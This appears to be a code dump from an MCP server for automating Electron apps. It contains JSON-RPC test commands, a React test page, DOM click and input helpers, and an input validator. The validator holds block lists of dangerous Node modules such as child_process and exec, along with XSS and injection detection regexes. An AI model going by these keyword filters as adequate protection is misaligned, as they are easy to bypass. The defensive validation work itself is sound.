echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
```
#### 4. Click Command Tests
```bash
# React button with preventDefault
echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node dist/index.js
# Normal button
echo '{"jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Normal Button"}}}}' | node dist/index.js
# Submit button
echo '{"jsonrpc": "2.0", "id": 5, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit Form"}}}}' | node dist/index.js
```
#### 5. Form Input Tests
```bash
# Username field
echo '{"jsonrpc": "2.0", "id": 6, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js
# Email field
echo '{"jsonrpc": "2.0", "id": 7, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "email", "value": "[email protected]"}}}}' | node dist/index.js
# Password field
echo '{"jsonrpc": "2.0", "id": 8, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "password", "value": "secretpass"}}}}' | node dist/index.js
# Number field
echo '{"jsonrpc": "2.0", "id": 9, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "age", "value": "25"}}}}' | node dist/index.js
# Textarea
echo '{"jsonrpc": "2.0", "id": 10, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "comments", "value": "Test comment"}}}}' | node dist/index.js
```
#### 6. Visual Verification
```bash
echo '{"jsonrpc": "2.0", "id": 11, "method": "tools/call", "params": {"name": "take_screenshot", "arguments": {}}}' | node dist/index.js
```
### Expected Results Summary
- ✅ All click commands should succeed (preventDefault fix applied)
- ✅ All form inputs should be detected and filled successfully
- ✅ No "Click events were cancelled by the page" errors
- ✅ No "No suitable input found" errors
- ✅ Page structure should show all React-rendered elements
```
--------------------------------------------------------------------------------
/src/security/validation.ts:
--------------------------------------------------------------------------------
```typescript
import { z } from 'zod';
import { logger } from '../utils/logger';
import { SecurityLevel, SECURITY_PROFILES, getDefaultSecurityLevel } from './config';
// Input validation schemas
export const SecureCommandSchema = z.object({
command: z.string().min(1).max(10000),
args: z.any().optional(),
sessionId: z.string().optional(),
});
export interface ValidationResult {
isValid: boolean;
errors: string[];
sanitizedInput?: any;
riskLevel: 'low' | 'medium' | 'high' | 'critical';
}
export class InputValidator {
private static securityLevel: SecurityLevel = getDefaultSecurityLevel();
static setSecurityLevel(level: SecurityLevel) {
this.securityLevel = level;
logger.info(`Security level changed to: ${level}`);
}
static getSecurityLevel(): SecurityLevel {
return this.securityLevel;
}
private static readonly DANGEROUS_KEYWORDS = [
'Function',
'constructor',
'__proto__',
'prototype',
'process',
'require',
'import',
'fs',
'child_process',
'exec',
'spawn',
'fork',
'cluster',
'worker_threads',
'vm',
'repl',
'readline',
'crypto',
'http',
'https',
'net',
'dgram',
'tls',
'url',
'querystring',
'path',
'os',
'util',
'events',
'stream',
'buffer',
'timers',
'setImmediate',
'clearImmediate',
'setTimeout',
'clearTimeout',
'setInterval',
'clearInterval',
'global',
'globalThis',
];
private static readonly XSS_PATTERNS = [
/<script[^>]*>[\s\S]*?<\/script>/gi,
/javascript:/gi,
/on\w+\s*=/gi,
/<iframe[^>]*>/gi,
/<object[^>]*>/gi,
/<embed[^>]*>/gi,
/<link[^>]*>/gi,
/<meta[^>]*>/gi,
];
private static readonly INJECTION_PATTERNS = [
/['"];\s*(?:drop|delete|insert|update|select|union|exec|execute)\s+/gi,
/\$\{[^}]*\}/g, // Template literal injection
/`[^`]*`/g, // Backtick strings
/eval\s*\(/gi,
/new\s+Function\s*\(/gi, // Function constructor only, not function expressions
/window\s*\[\s*['"]Function['"]\s*\]/gi, // Dynamic function access
];
static validateCommand(input: unknown): ValidationResult {
try {
// Parse and validate structure
const parsed = SecureCommandSchema.parse(input);
const result: ValidationResult = {
isValid: true,
errors: [],
sanitizedInput: parsed,
riskLevel: 'low',
};
// Validate command content
let commandValidation;
if (parsed.command === 'eval' && parsed.args) {
// Special validation for eval commands - validate the code being executed
commandValidation = this.validateEvalContent(String(parsed.args));
} else {
commandValidation = this.validateCommandContent(parsed.command);
}
result.errors.push(...commandValidation.errors);
result.riskLevel = this.calculateRiskLevel(commandValidation.riskFactors);
// Sanitize the command
result.sanitizedInput.command = this.sanitizeCommand(parsed.command);
result.isValid = result.errors.length === 0 && result.riskLevel !== 'critical';
return result;
} catch (error) {
return {
isValid: false,
errors: [
`Invalid input structure: ${error instanceof Error ? error.message : String(error)}`,
],
riskLevel: 'high',
};
}
}
private static validateCommandContent(command: string): {
errors: string[];
riskFactors: string[];
} {
const errors: string[] = [];
const riskFactors: string[] = [];
// Check for dangerous keywords, but allow legitimate function expressions
for (const keyword of this.DANGEROUS_KEYWORDS) {
const regex = new RegExp(`\\b${keyword}\\b`, 'gi');
if (regex.test(command)) {
// Special handling for 'Function' keyword
if (keyword === 'Function') {
// Allow function expressions that start with ( like (function() {})()
// Also allow function declarations like function name() {}
// But block Function constructor calls
const isFunctionExpression = /^\s*\(\s*function\s*\(/.test(command.trim());
const isFunctionDeclaration = /^\s*function\s+\w+\s*\(/.test(command.trim());
const isFunctionConstructor =
/(?:new\s+Function\s*\(|(?:window\.|global\.)?Function\s*\()/gi.test(command);
if (isFunctionConstructor && !isFunctionExpression && !isFunctionDeclaration) {
errors.push(`Dangerous keyword detected: ${keyword}`);
riskFactors.push(`dangerous_keyword_${keyword}`);
}
// Skip adding error for legitimate function expressions/declarations
} else {
errors.push(`Dangerous keyword detected: ${keyword}`);
riskFactors.push(`dangerous_keyword_${keyword}`);
}
}
}
// Check for XSS patterns
for (const pattern of this.XSS_PATTERNS) {
if (pattern.test(command)) {
errors.push(`Potential XSS pattern detected`);
riskFactors.push('xss_pattern');
}
}
// Check for injection patterns
for (const pattern of this.INJECTION_PATTERNS) {
if (pattern.test(command)) {
errors.push(`Potential code injection detected`);
riskFactors.push('injection_pattern');
}
}
// Check command length
if (command.length > 5000) {
errors.push(`Command too long (${command.length} chars, max 5000)`);
riskFactors.push('excessive_length');
}
// Check for obfuscation attempts
const obfuscationScore = this.calculateObfuscationScore(command);
if (obfuscationScore > 0.7) {
errors.push(`Potential code obfuscation detected (score: ${obfuscationScore.toFixed(2)})`);
riskFactors.push('obfuscation');
}
return { errors, riskFactors };
}
/**
* Special validation for eval commands - validates the actual code to be executed
*/
private static validateEvalContent(code: string): {
errors: string[];
riskFactors: string[];
} {
const errors: string[] = [];
const riskFactors: string[] = [];
const profile = SECURITY_PROFILES[this.securityLevel];
// Allow simple safe operations
const safePatterns = [
/^document\.(title|location|URL|domain)$/,
/^window\.(location|navigator|screen)$/,
/^Math\.\w+$/,
/^Date\.\w+$/,
/^JSON\.(parse|stringify)$/,
/^[\w.[\]'"]+$/, // Simple property access
];
// Allow DOM queries based on security level
const domQueryPatterns = profile.allowDOMQueries
? [
/^document\.querySelector\([^)]+\)$/, // Simple querySelector without function calls
/^document\.querySelectorAll\([^)]+\)$/, // Simple querySelectorAll
/^document\.getElementById\([^)]+\)$/, // getElementById
/^document\.getElementsByClassName\([^)]+\)$/, // getElementsByClassName
/^document\.getElementsByTagName\([^)]+\)$/, // getElementsByTagName
/^document\.activeElement$/, // Check active element
]
: [];
// Allow UI interactions based on security level
const uiInteractionPatterns = profile.allowUIInteractions
? [
/^window\.getComputedStyle\([^)]+\)$/, // Get computed styles
/^[\w.]+\.(textContent|innerText|innerHTML|value|checked|selected|disabled|hidden)$/, // Property access
/^[\w.]+\.(clientWidth|clientHeight|offsetWidth|offsetHeight|getBoundingClientRect)$/, // Size/position
/^[\w.]+\.(focus|blur|scrollIntoView)\(\)$/, // UI methods
]
: [];
// Check if it's a safe pattern
const isSafe =
safePatterns.some((pattern) => pattern.test(code.trim())) ||
domQueryPatterns.some((pattern) => pattern.test(code.trim())) ||
uiInteractionPatterns.some((pattern) => pattern.test(code.trim()));
if (!isSafe) {
// Check for dangerous keywords in eval content
for (const keyword of this.DANGEROUS_KEYWORDS) {
const regex = new RegExp(`\\b${keyword}\\b`, 'gi');
if (regex.test(code)) {
errors.push(`Dangerous keyword detected in eval: ${keyword}`);
riskFactors.push(`eval_dangerous_keyword_${keyword}`);
}
}
// Check for function calls based on security profile
const hasFunctionCall = /\(\s*\)|\w+\s*\(/.test(code);
if (hasFunctionCall) {
// Extract function name
const functionMatch = code.match(/(\w+)\s*\(/);
const functionName = functionMatch ? functionMatch[1] : '';
// Check if function is allowed
const isAllowedFunction =
profile.allowFunctionCalls.includes('*') ||
profile.allowFunctionCalls.some(
(allowed) => functionName.includes(allowed) || code.includes(allowed + '('),
);
if (!isAllowedFunction) {
errors.push(`Function calls in eval are restricted (${functionName})`);
riskFactors.push('eval_function_call');
}
}
// Check for assignment operations based on security profile
if (/=(?!=)/.test(code) && !profile.allowAssignments) {
errors.push(`Assignment operations in eval are restricted`);
riskFactors.push('eval_assignment');
}
}
return { errors, riskFactors };
}
private static calculateObfuscationScore(code: string): number {
let score = 0;
const length = code.length;
if (length === 0) return 0;
// Check for excessive special characters
const specialChars = (code.match(/[^a-zA-Z0-9\s]/g) || []).length;
const specialCharRatio = specialChars / length;
if (specialCharRatio > 0.3) score += 0.3;
// Check for excessive parentheses/brackets
const brackets = (code.match(/[(){}[\]]/g) || []).length;
const bracketRatio = brackets / length;
if (bracketRatio > 0.2) score += 0.2;
// Check for encoded content
if (/\\x[0-9a-fA-F]{2}/.test(code)) score += 0.2;
if (/\\u[0-9a-fA-F]{4}/.test(code)) score += 0.2;
if (/\\[0-7]{3}/.test(code)) score += 0.1;
// Check for string concatenation patterns
const concatPatterns = (code.match(/\+\s*["'`]/g) || []).length;
if (concatPatterns > 5) score += 0.2;
return Math.min(score, 1.0);
}
private static calculateRiskLevel(riskFactors: string[]): 'low' | 'medium' | 'high' | 'critical' {
const criticalFactors = riskFactors.filter(
(f) => f.includes('dangerous_keyword') || f.includes('injection_pattern'),
);
const highFactors = riskFactors.filter(
(f) => f.includes('xss_pattern') || f.includes('obfuscation'),
);
if (criticalFactors.length > 0) return 'critical';
if (highFactors.length > 0 || riskFactors.length > 3) return 'high';
if (riskFactors.length > 1) return 'medium';
return 'low';
}
private static sanitizeCommand(command: string): string {
// Remove dangerous patterns
let sanitized = command;
// Remove HTML/script tags
sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
sanitized = sanitized.replace(/<[^>]*>/g, '');
// Remove javascript: URLs
sanitized = sanitized.replace(/javascript:/gi, '');
// For code execution, don't HTML-escape quotes as it breaks JavaScript syntax
// Just remove dangerous URL schemes and HTML tags
return sanitized;
}
}
```
--------------------------------------------------------------------------------
/tests/integration/react-compatibility/react-test-app.html:
--------------------------------------------------------------------------------
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>React Click Test App</title>
<script crossorigin src="https://unpkg.com/react@18/umd/react.development.js"></script>
<script crossorigin src="https://unpkg.com/react-dom@18/umd/react-dom.development.js"></script>
<script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
<style>
body {
font-family: Arial, sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 600px;
margin: 0 auto;
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.button {
padding: 12px 24px;
margin: 10px;
background: #007acc;
color: white;
border: none;
cursor: pointer;
border-radius: 6px;
font-size: 16px;
transition: background 0.2s;
}
.button:hover {
background: #005a9e;
}
.button.success {
background: #28a745;
}
.button.success:hover {
background: #218838;
}
.result {
margin: 20px 0;
padding: 15px;
background: #e9ecef;
border-radius: 4px;
min-height: 50px;
border-left: 4px solid #007acc;
}
.counter {
display: inline-block;
background: #17a2b8;
color: white;
padding: 5px 10px;
border-radius: 15px;
font-weight: bold;
margin-left: 10px;
}
</style>
</head>
<body>
<div id="root"></div>
<script type="text/babel">
const { useState, useEffect } = React;
function ReactClickTestApp() {
const [message, setMessage] = useState('Welcome! Click any button to test...');
const [counter, setCounter] = useState(0);
// This is the typical React button that causes the MCP click issue
const handleReactButtonClick = (e) => {
e.preventDefault(); // This is what causes the MCP issue!
setMessage('React button clicked! (preventDefault was called)');
setCounter(prev => prev + 1);
console.log('React button clicked with preventDefault');
};
// Normal button without preventDefault
const handleNormalButtonClick = (e) => {
setMessage('Normal button clicked! (no preventDefault)');
setCounter(prev => prev + 1);
console.log('Normal button clicked without preventDefault');
};
// Button that calls stopPropagation
const handleStopPropagationClick = (e) => {
e.stopPropagation();
setMessage('Stop propagation button clicked!');
setCounter(prev => prev + 1);
console.log('Button clicked with stopPropagation');
};
// Form submit handler (typical React pattern)
const handleFormSubmit = (e) => {
e.preventDefault(); // Standard form handling
setMessage('Form submitted! (preventDefault called on form)');
setCounter(prev => prev + 1);
console.log('Form submitted with preventDefault');
};
return (
<div className="container">
<h1>React Click Test Application</h1>
<p>This app demonstrates the React click issue with MCP Server</p>
<div className="result">
<strong>Status:</strong> {message}
{counter > 0 && <span className="counter">{counter} clicks</span>}
</div>
<div>
<h3>Test Buttons:</h3>
{/* This button will fail with MCP due to preventDefault */}
<button
id="react-button"
className="button"
onClick={handleReactButtonClick}
>
React Button (preventDefault)
</button>
{/* This button should work with MCP */}
<button
id="normal-button"
className="button success"
onClick={handleNormalButtonClick}
>
Normal Button (no preventDefault)
</button>
{/* This button uses stopPropagation */}
<button
id="stop-prop-button"
className="button"
onClick={handleStopPropagationClick}
>
Stop Propagation Button
</button>
</div>
<div>
<h3>Test Form (Input Detection):</h3>
<form onSubmit={handleFormSubmit}>
<div style={{marginBottom: '15px'}}>
<label htmlFor="username" style={{display: 'block', marginBottom: '5px'}}>Username:</label>
<input
id="username"
name="username"
type="text"
placeholder="Enter username..."
style={{
padding: '8px 12px',
border: '1px solid #ccc',
borderRadius: '4px',
fontSize: '16px',
width: '200px'
}}
/>
</div>
<div style={{marginBottom: '15px'}}>
<label htmlFor="email" style={{display: 'block', marginBottom: '5px'}}>Email:</label>
<input
id="email"
name="email"
type="email"
placeholder="[email protected]"
style={{
padding: '8px 12px',
border: '1px solid #ccc',
borderRadius: '4px',
fontSize: '16px',
width: '200px'
}}
/>
</div>
<div style={{marginBottom: '15px'}}>
<label htmlFor="password" style={{display: 'block', marginBottom: '5px'}}>Password:</label>
<input
id="password"
name="password"
type="password"
placeholder="Enter password..."
style={{
padding: '8px 12px',
border: '1px solid #ccc',
borderRadius: '4px',
fontSize: '16px',
width: '200px'
}}
/>
</div>
<div style={{marginBottom: '15px'}}>
<label htmlFor="age" style={{display: 'block', marginBottom: '5px'}}>Age:</label>
<input
id="age"
name="age"
type="number"
placeholder="25"
style={{
padding: '8px 12px',
border: '1px solid #ccc',
borderRadius: '4px',
fontSize: '16px',
width: '100px'
}}
/>
</div>
<div style={{marginBottom: '15px'}}>
<label htmlFor="comments" style={{display: 'block', marginBottom: '5px'}}>Comments:</label>
<textarea
id="comments"
name="comments"
placeholder="Enter your comments..."
rows="3"
style={{
padding: '8px 12px',
border: '1px solid #ccc',
borderRadius: '4px',
fontSize: '16px',
width: '300px',
resize: 'vertical'
}}
/>
</div>
<button
type="submit"
id="submit-button"
className="button"
>
Submit Form (preventDefault)
</button>
</form>
</div>
<div style={{marginTop: '30px', fontSize: '14px', color: '#666'}}>
<p><strong>Instructions for MCP Testing:</strong></p>
<ul>
<li>Try clicking "React Button" - this should work now (fix applied)</li>
<li>Try clicking "Normal Button" - this should work fine</li>
<li>Try clicking "Submit Form" - this should work now (fix applied)</li>
<li>Try fill_input on username, email, password, age, comments fields</li>
<li>Check browser console for click events</li>
<li>Use get_page_structure to see if inputs are detected</li>
</ul>
</div>
</div>
);
}
// Render the React app
ReactDOM.render(<ReactClickTestApp />, document.getElementById('root'));
// Add global click listener to monitor all clicks
document.addEventListener('click', (e) => {
console.log('Global click detected:', {
target: e.target.tagName,
id: e.target.id,
defaultPrevented: e.defaultPrevented,
bubbles: e.bubbles,
cancelable: e.cancelable
});
});
</script>
</body>
</html>
```
--------------------------------------------------------------------------------
/src/utils/electron-commands.ts:
--------------------------------------------------------------------------------
```typescript
/**
* Enhanced Electron interaction commands for React-based applications
* Addresses common issues with form interactions, event handling, and state management
*/
/**
* Securely escape text input for JavaScript code generation
*/
function escapeJavaScriptString(input: string): string {
// Use JSON.stringify for proper escaping of quotes, newlines, and special characters
return JSON.stringify(input);
}
/**
* Validate text input for potential security issues
*/
function validateTextInput(text: string): {
isValid: boolean;
sanitized: string;
warnings: string[];
} {
const warnings: string[] = [];
let sanitized = text;
// Check for suspicious patterns
if (text.includes('javascript:')) warnings.push('Contains javascript: protocol');
if (text.includes('<script')) warnings.push('Contains script tags');
if (text.match(/['"]\s*;\s*/)) warnings.push('Contains potential code injection');
if (text.length > 1000) warnings.push('Input text is unusually long');
// Basic sanitization - remove potentially dangerous content
sanitized = sanitized.replace(/javascript:/gi, '');
sanitized = sanitized.replace(/<script[^>]*>.*?<\/script>/gi, '');
sanitized = sanitized.substring(0, 1000); // Limit length
return {
isValid: warnings.length === 0,
sanitized,
warnings,
};
}
export interface ElementAnalysis {
element?: Element;
tag: string;
text: string;
id: string;
className: string;
name: string;
placeholder: string;
type: string;
value: string;
ariaLabel: string;
ariaRole: string;
title: string;
href: string;
src: string;
alt: string;
position: {
x: number;
y: number;
width: number;
height: number;
};
isVisible: boolean;
isInteractive: boolean;
zIndex: number;
backgroundColor: string;
color: string;
fontSize: string;
fontWeight: string;
cursor: string;
context: string;
selector: string;
xpath: string;
}
export interface PageAnalysis {
clickable: ElementAnalysis[];
inputs: ElementAnalysis[];
links: ElementAnalysis[];
images: ElementAnalysis[];
text: ElementAnalysis[];
containers: ElementAnalysis[];
metadata: {
totalElements: number;
visibleElements: number;
interactiveElements: number;
pageTitle: string;
pageUrl: string;
viewport: {
width: number;
height: number;
};
};
}
/**
* Generate the enhanced find_elements command with deep DOM analysis
*/
export function generateFindElementsCommand(): string {
return `
(function() {
// Deep DOM analysis functions
function analyzeElement(el) {
const rect = el.getBoundingClientRect();
const style = getComputedStyle(el);
return {
tag: el.tagName.toLowerCase(),
text: (el.textContent || '').trim().substring(0, 100),
id: el.id || '',
className: el.className || '',
name: el.name || '',
placeholder: el.placeholder || '',
type: el.type || '',
value: el.value || '',
ariaLabel: el.getAttribute('aria-label') || '',
ariaRole: el.getAttribute('role') || '',
title: el.title || '',
href: el.href || '',
src: el.src || '',
alt: el.alt || '',
position: {
x: Math.round(rect.left),
y: Math.round(rect.top),
width: Math.round(rect.width),
height: Math.round(rect.height)
},
isVisible: rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden' && style.opacity > 0,
isInteractive: isInteractiveElement(el),
zIndex: parseInt(style.zIndex) || 0,
backgroundColor: style.backgroundColor,
color: style.color,
fontSize: style.fontSize,
fontWeight: style.fontWeight,
cursor: style.cursor,
context: getElementContext(el),
selector: generateSelector(el),
xpath: generateXPath(el)
};
}
function isInteractiveElement(el) {
const interactiveTags = ['BUTTON', 'A', 'INPUT', 'SELECT', 'TEXTAREA'];
const interactiveTypes = ['button', 'submit', 'reset', 'checkbox', 'radio'];
const interactiveRoles = ['button', 'link', 'menuitem', 'tab', 'option'];
return interactiveTags.includes(el.tagName) ||
interactiveTypes.includes(el.type) ||
interactiveRoles.includes(el.getAttribute('role')) ||
el.hasAttribute('onclick') ||
el.hasAttribute('onsubmit') ||
el.getAttribute('contenteditable') === 'true' ||
getComputedStyle(el).cursor === 'pointer';
}
function getElementContext(el) {
const context = [];
// Get form context
const form = el.closest('form');
if (form) {
const formTitle = form.querySelector('h1, h2, h3, h4, h5, h6, .title');
if (formTitle) context.push('Form: ' + formTitle.textContent.trim().substring(0, 50));
}
// Get parent container context
const container = el.closest('section, article, div[class*="container"], div[class*="card"], div[class*="panel"]');
if (container && container !== form) {
const heading = container.querySelector('h1, h2, h3, h4, h5, h6, .title, .heading');
if (heading) context.push('Container: ' + heading.textContent.trim().substring(0, 50));
}
// Get nearby labels
const label = findElementLabel(el);
if (label) context.push('Label: ' + label.substring(0, 50));
return context.join(' | ');
}
function findElementLabel(el) {
// For inputs, find associated label
if (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA' || el.tagName === 'SELECT') {
if (el.id) {
const label = document.querySelector(\`label[for="\${el.id}"]\`);
if (label) return label.textContent.trim();
}
// Check if nested in label
const parentLabel = el.closest('label');
if (parentLabel) return parentLabel.textContent.trim();
// Check aria-labelledby
const labelledBy = el.getAttribute('aria-labelledby');
if (labelledBy) {
const labelEl = document.getElementById(labelledBy);
if (labelEl) return labelEl.textContent.trim();
}
}
return '';
}
function generateSelector(el) {
// Generate a robust CSS selector
if (el.id) return '#' + el.id;
let selector = el.tagName.toLowerCase();
if (el.className) {
const classes = el.className.split(' ').filter(c => c && !c.match(/^(ng-|v-|_)/));
if (classes.length > 0) {
selector += '.' + classes.slice(0, 3).join('.');
}
}
// Add attribute selectors for better specificity
if (el.name) selector += \`[name="\${el.name}"]\`;
if (el.type && el.tagName === 'INPUT') selector += \`[type="\${el.type}"]\`;
if (el.placeholder) selector += \`[placeholder*="\${el.placeholder.substring(0, 20)}"]\`;
return selector;
}
function generateXPath(el) {
if (el.id) return \`//*[@id="\${el.id}"]\`;
let path = '';
let current = el;
while (current && current.nodeType === Node.ELEMENT_NODE && current !== document.body) {
let selector = current.tagName.toLowerCase();
if (current.id) {
path = \`//*[@id="\${current.id}"]\` + path;
break;
}
const siblings = Array.from(current.parentNode?.children || []).filter(
sibling => sibling.tagName === current.tagName
);
if (siblings.length > 1) {
const index = siblings.indexOf(current) + 1;
selector += \`[\${index}]\`;
}
path = '/' + selector + path;
current = current.parentElement;
}
return path || '//body' + path;
}
// Categorize elements by type
const analysis = {
clickable: [],
inputs: [],
links: [],
images: [],
text: [],
containers: [],
metadata: {
totalElements: 0,
visibleElements: 0,
interactiveElements: 0,
pageTitle: document.title,
pageUrl: window.location.href,
viewport: {
width: window.innerWidth,
height: window.innerHeight
}
}
};
// Analyze all elements
const allElements = document.querySelectorAll('*');
analysis.metadata.totalElements = allElements.length;
for (let el of allElements) {
const elementAnalysis = analyzeElement(el);
if (!elementAnalysis.isVisible) continue;
analysis.metadata.visibleElements++;
if (elementAnalysis.isInteractive) {
analysis.metadata.interactiveElements++;
// Categorize clickable elements
if (['button', 'a', 'input'].includes(elementAnalysis.tag) ||
['button', 'submit'].includes(elementAnalysis.type) ||
elementAnalysis.ariaRole === 'button') {
analysis.clickable.push(elementAnalysis);
}
}
// Categorize inputs
if (['input', 'textarea', 'select'].includes(elementAnalysis.tag)) {
analysis.inputs.push(elementAnalysis);
}
// Categorize links
if (elementAnalysis.tag === 'a' && elementAnalysis.href) {
analysis.links.push(elementAnalysis);
}
// Categorize images
if (elementAnalysis.tag === 'img') {
analysis.images.push(elementAnalysis);
}
// Categorize text elements with significant content
if (['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'span', 'div'].includes(elementAnalysis.tag) &&
elementAnalysis.text.length > 10 && elementAnalysis.text.length < 200) {
analysis.text.push(elementAnalysis);
}
// Categorize important containers
if (['form', 'section', 'article', 'main', 'nav', 'header', 'footer'].includes(elementAnalysis.tag) ||
elementAnalysis.className.match(/(container|wrapper|card|panel|modal|dialog)/i)) {
analysis.containers.push(elementAnalysis);
}
}
// Limit results to prevent overwhelming output
const maxResults = 20;
Object.keys(analysis).forEach(key => {
if (Array.isArray(analysis[key]) && analysis[key].length > maxResults) {
analysis[key] = analysis[key].slice(0, maxResults);
}
});
return JSON.stringify(analysis, null, 2);
})()
`;
}
/**
* Generate the enhanced click_by_text command with improved element scoring
*/
export function generateClickByTextCommand(text: string): string {
// Validate and sanitize input text
const validation = validateTextInput(text);
if (!validation.isValid) {
return `(function() { return "Security validation failed: ${validation.warnings.join(
', ',
)}"; })()`;
}
// Escape the text to prevent JavaScript injection
const escapedText = escapeJavaScriptString(validation.sanitized);
return `
(function() {
const targetText = ${escapedText}; // Safe: JSON.stringify escapes quotes and special chars
// Deep DOM analysis function
function analyzeElement(el) {
const rect = el.getBoundingClientRect();
const style = getComputedStyle(el);
return {
element: el,
text: (el.textContent || '').trim(),
ariaLabel: el.getAttribute('aria-label') || '',
title: el.title || '',
role: el.getAttribute('role') || el.tagName.toLowerCase(),
isVisible: rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden',
isInteractive: el.tagName.match(/^(BUTTON|A|INPUT)$/) || el.hasAttribute('onclick') || el.getAttribute('role') === 'button' || style.cursor === 'pointer',
rect: rect,
zIndex: parseInt(style.zIndex) || 0,
opacity: parseFloat(style.opacity) || 1
};
}
// Score element relevance
function scoreElement(analysis, target) {
let score = 0;
const text = analysis.text.toLowerCase();
const label = analysis.ariaLabel.toLowerCase();
const title = analysis.title.toLowerCase();
const targetLower = target.toLowerCase();
// Exact match gets highest score
if (text === targetLower || label === targetLower || title === targetLower) score += 100;
// Starts with target
if (text.startsWith(targetLower) || label.startsWith(targetLower)) score += 50;
// Contains target
if (text.includes(targetLower) || label.includes(targetLower) || title.includes(targetLower)) score += 25;
// Fuzzy matching for close matches
const similarity = Math.max(
calculateSimilarity(text, targetLower),
calculateSimilarity(label, targetLower),
calculateSimilarity(title, targetLower)
);
score += similarity * 20;
// Bonus for interactive elements
if (analysis.isInteractive) score += 10;
// Bonus for visibility
if (analysis.isVisible) score += 15;
// Bonus for larger elements (more likely to be main buttons)
if (analysis.rect.width > 100 && analysis.rect.height > 30) score += 5;
// Bonus for higher z-index (on top)
score += Math.min(analysis.zIndex, 5);
return score;
}
// Simple string similarity function
function calculateSimilarity(str1, str2) {
const len1 = str1.length;
const len2 = str2.length;
const maxLen = Math.max(len1, len2);
if (maxLen === 0) return 0;
let matches = 0;
const minLen = Math.min(len1, len2);
for (let i = 0; i < minLen; i++) {
if (str1[i] === str2[i]) matches++;
}
return matches / maxLen;
}
// Find all potentially clickable elements
const allElements = document.querySelectorAll('*');
const candidates = [];
for (let el of allElements) {
const analysis = analyzeElement(el);
if (analysis.isVisible && (analysis.isInteractive || analysis.text || analysis.ariaLabel)) {
const score = scoreElement(analysis, targetText);
if (score > 5) { // Only consider elements with some relevance
candidates.push({ ...analysis, score });
}
}
}
if (candidates.length === 0) {
return \`No clickable elements found containing text: "\${targetText}"\`;
}
// Sort by score and get the best match
candidates.sort((a, b) => b.score - a.score);
const best = candidates[0];
// Additional validation before clicking
if (best.score < 15) {
return \`Found potential matches but confidence too low (score: \${best.score}). Best match was: "\${best.text || best.ariaLabel}" - try being more specific.\`;
}
// Enhanced clicking for React components with duplicate prevention
function clickElement(element) {
// Enhanced duplicate prevention
const elementId = element.id || element.className || element.textContent?.slice(0, 20) || 'element';
const clickKey = 'mcp_click_text_' + btoa(elementId).slice(0, 10);
// Check if this element was recently clicked
if (window[clickKey] && Date.now() - window[clickKey] < 2000) {
throw new Error('Element click prevented - too soon after previous click');
}
// Mark this element as clicked
window[clickKey] = Date.now();
// Prevent multiple rapid events
const originalPointerEvents = element.style.pointerEvents;
element.style.pointerEvents = 'none';
// Scroll element into view if needed
element.scrollIntoView({ behavior: 'smooth', block: 'center' });
// Focus the element if focusable
try {
if (element.focus && typeof element.focus === 'function') {
element.focus();
}
} catch (e) {
// Focus may fail on some elements, that's ok
}
// Create and dispatch comprehensive click events for React
const events = [
new MouseEvent('mousedown', { bubbles: true, cancelable: true, view: window }),
new MouseEvent('mouseup', { bubbles: true, cancelable: true, view: window }),
new MouseEvent('click', { bubbles: true, cancelable: true, view: window })
];
// Dispatch all events - don't treat preventDefault as failure
events.forEach(event => {
element.dispatchEvent(event);
});
// Trigger additional React events if it's a form element
if (element.tagName === 'INPUT' || element.tagName === 'TEXTAREA') {
element.dispatchEvent(new Event('input', { bubbles: true }));
element.dispatchEvent(new Event('change', { bubbles: true }));
}
// Re-enable after delay
setTimeout(() => {
element.style.pointerEvents = originalPointerEvents;
}, 1000);
return true;
}
try {
const clickResult = clickElement(best.element);
return \`Successfully clicked element (score: \${best.score}): "\${best.text || best.ariaLabel || best.title}" - searched for: "\${targetText}"\`;
} catch (error) {
return \`Failed to click element: \${error.message}. Element found (score: \${best.score}): "\${best.text || best.ariaLabel || best.title}"\`;
}
})()
`;
}
```